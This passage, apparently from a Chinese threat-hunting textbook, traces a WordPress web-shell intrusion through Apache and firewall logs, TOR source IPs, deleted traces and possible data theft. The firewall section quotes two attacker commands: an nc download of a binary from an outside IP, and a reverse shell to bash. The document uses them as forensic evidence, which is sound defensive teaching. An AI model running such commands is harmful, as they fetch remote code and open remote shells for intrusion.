4.2.2 深入挖掘网络请求

让我们尝试确定网络壳文件project-plan.php是何时上传的。我们之前看到的URL路径中的3，即/wp-content/uploads/sp-client-document-manager/3/，指的是WordPress上的用户账户。在这个阶段，我们会联系网站服务器管理员来

? 确认用户3的身份。管理员回复了我们的请求，并确认供应商007是用户3。管理员还提到该账户已被禁用，所有访问权限已被撤销。

? 获取/var/www/html//wp-content/uploads/sp-client-document-manager/3/目录下的文件列表，并在整个系统中搜索文件project-plan.php。考虑到这次威胁狩猎的紧迫性和可见性，管理员立即采取了行动，并与我们分享了该目录下的以下文件列表。

目录中不包含扩展名为.php的文件，尽管我们之前已经确定web服务器成功地为project-plan.php的请求提供了服务。Web服务器对project-plan.php的请求响应状态为200。此外，对整个系统的文件搜索没有找到任何结果。无法定位文件表明攻击者在某个时刻故意删除了该文件以掩盖其行踪。这是威胁情报报告中识别出的TTPs之一：删除文件以从主机上移除指标（MITRE ATT&CK T1070.004）。

现在让我们尝试找到/tmp目录下的内容。我们向系统管理员发送了请求，希望获取/tmp目录的内容。不幸的是，系统管理员告诉我们/tmp目录是空的。再次，无法在临时目录中找到文件表明攻击者删除了文件。

考虑到攻击者为了掩盖他们的行踪所采取的措施，我们要求系统管理员提供/var/log/apache2目录的内容，这是Apache2 web服务器日志存储的位置。下面的列表显示了管理员共享的目录中的文件。

输出显示位于/var/log/apache2目录下的日志文件access.log、error.log和其他_vhosts_access.log是在6月16日创建的，也就是可疑的网络请求被发出的同一天。文件的创建表明攻击者删除了包含先前事件的旧版本。幸运的是，事件在首次写入文件时就被收集到了中央事件存储中。不幸的是，这也意味着攻击者能够获得对系统的root级访问权限。这些文件的权限仅允许所有者root进行修改或删除，这非常令人担忧。是时候更新威胁狩猎发现的时间线（图4.3）了。

跟踪覆盖的程度表明这是一次复杂且有针对性的攻击。我们的调查揭示了一些细节，我们应该立即与其他团队成员分享。仅禁用账户 supplier007 是不够的；我们现在有强有力的证据表明系统已经被破坏。团队还应该采取哪些其他行动？此外，是否应该将此事件升级给更高级别的管理层——比如首席信息官或更高？事件响应流程应该明确地定义严重性级别以及与每个级别相关的升级和通知。

4.2.3 使用防火墙日志进行追踪

到目前为止，我们已经使用了一种事件源类型：Apache网站访问日志。现在是时候通过访问防火墙日志来获得更深入的洞察了。

我们分析了由云服务提供商防火墙记录的入站连接。这些日志可以在Humio事件数据存储中进行搜索。我们对防火墙日志的分析将集中在我们识别出对project-plan.php的请求的时间点。

审查完整的连接列表是耗时的。如果我们限制搜索范围到

? 首次包含Base64编码的whoami命令的可疑网络访问事件发生前后几分钟（比如10分钟）

? 目标为TCP端口80和443的网络请求

? 目标为托管网站门户Pods的节点之一的流量

我们应该能够得到一个可管理的网络连接数量。

搜索结果显示有35个连接使用TCP/443。

以下搜索总结了源IP地址及其位置。

此搜索生成了以下输出。

搜索结果显示来自以下源IP地址的传入请求：

? 185.220.100[.]250—位于DE（德国的国家代码），有33个连接

? 134.209.24[.]42—位于GB（大不列颠的国家代码），有1个连接

? 139.162.145[.]250—位于DE，有1个连接

让我们收集更多关于这些IP地址的信息，例如信誉和相关的妥协指标（IOCs）。为此，我们在VirusTotal和Talos上对IP地址进行快速搜索。图4.4显示了每个IP地址在VirusTotal上的快照。

注意：图4.4和4.5中的快照是在特定时间拍摄的。当你自己进行搜索时，可能会得到不同的值。

所有三个IP地址已被VirusTotal标记为恶意。特别是IP地址185.220.100[.]250，已被标记为TOR节点。Talos将该IP地址映射到tor-exit-11.zbau.f3netze.de，如图4.5所示。Talos还确认了另外两个IP地址134.209.24[.]42和139.162.145[.]250的不良声誉。

知道涉及可疑网络活动的公共IP地址是一个TOR节点，并没有提供太多关于攻击者身份的信息。它仅仅与我们之前发现的恶意网络访问活动相关联。尽管如此，我们仍需要更新事件案例以记录我们所有的发现。

现在我们已经检查了入站连接，让我们调查从Web服务器建立到端口80和443的出站连接。我们将搜索范围改为以下内容。我们从包含Base64编码的whoami命令的第一个可疑网络访问事件前后10分钟的时间窗口开始。

输出显示有109个连接符合搜索条件。以下列表是摘要。事件源IP地址为10.154.0[.]2、10.154.0[.]3和10.154.0[.]4，这三个是托管Web服务器Pods的三个Kubernetes节点。

从输出中，我们看到以下出站连接，这些连接与发送到Web Shell的Base64解码命令相对应：

? "10.154.0[.]4","34.125.53[.]119","80","1"—一个与命令sleep 10 | nc -v 34.125.53.119 80 > /tmp/project-plan && chmod 755 /tmp/project-plan相关的连接。

? "10.154.0.4","34.152.29.228","80","3"—三个与命令/tmp/project-plan -e '/bin/bash' 34.152.29.228 80 --reconn相关的连接。尽管我们看到一个Web访问事件，但出现了三个连接。这可能是由于--reconn参数指示了project-plan程序在与34.152.29.228的连接丢失时重新连接。也可能是攻击者在受损害的系统上执行的其他活动。

让我们用这些出站连接更新威胁狩猎时间线（图4.6）。

让我们扩展搜索窗口以了解是否已经建立了更多出站连接到34.125.53[.]119或34.152.29[.]228，无论端口或协议如何。

输出显示，稍后使用TCP/80（图4.7）建立了两个额外的连接到34.125.53[.]119。

在这个阶段，我们无法了解这两个额外的连接是用于什么目的；没有相应的网络访问日志。这两个事件表明，系统上的某个程序（例如/tmp/project-plan）建立了这些连接，或者攻击者可能已经将另一个程序上传到被攻破的系统中。

在VirusTotal和Talos上进行的快速搜索并没有揭示太多信息。两个信誉来源显示这两个IP地址不是恶意的。这并不意味着它们在这个特定的攻击中不是恶意的。这仅仅意味着安全供应商或研究人员尚未将它们识别为恶意。这可能表明这次攻击是针对性的，攻击者试图最小化被发现的机会。

威胁情报报告列出了几个IP地址作为IOCs。让我们执行一次搜索，看看我们的系统是否与这些IP地址有过通信。我们从安装了易受攻击版本的插件的那个时间点开始进行搜索。

搜索没有返回任何结果。没有建立任何外向连接到威胁情报报告中包含的任何IP地址。

运行网络服务的用户，www-data，可以访问所有网络内容。我们现在知道上传到服务器的网络外壳和其他文件可以使用此用户可用的权限运行。

4.2.4 解决后果

上传到WordPress服务器的文档包含有关公司及其合作伙伴的机密信息。www-data用户可以访问此信息以及位于/var/www/html中的更多内容。此外，它还可以访问位于/etc/apache2的配置文件以及其他系统上的可读文件。攻击者有机会尽快收集尽可能多的信息，上传它，然后在删除痕迹后离开。他们还可能留下一些后门以供将来访问。对手可以以不同的方式使用这些信息来

? 对公司进行其他攻击

? 对合作伙伴发起攻击

? 敲诈公司及其合作伙伴

? 发布部分或全部数据转储，影响公司及其合作伙伴的业务

我们的调查揭示了一些细节，我们应该立即与其他团队成员分享。除了系统被破坏外，我们还有可能的数据外泄。这个事件是否应该升级到公司的高级管理层，比如CEO？事件响应过程应该帮助团队回答这个问题。再次强调，事件响应过程应该明确界定严重性级别以及相关的升级和通知行动。